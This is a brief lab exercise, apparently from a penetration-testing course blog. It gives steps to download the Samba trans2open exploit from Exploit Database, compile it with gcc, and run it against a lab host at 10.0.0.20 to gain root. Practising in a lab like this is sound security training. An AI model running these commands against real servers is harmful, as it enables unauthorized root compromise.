Compiling an Exploit
Exercise: samba exploit
1. Search and download the samba exploit source code from Exploit Database.
https://www.exploit-db.com/exploits/10
2. Compile the source code.
gcc 10.c -o trans2open
3. Use the trans2open tool to exploit the target server. Root the target server sucessfully.
./trans2open -b 0 10.0.0.20
来源:https://www.cnblogs.com/keepmoving1113/p/11143589.html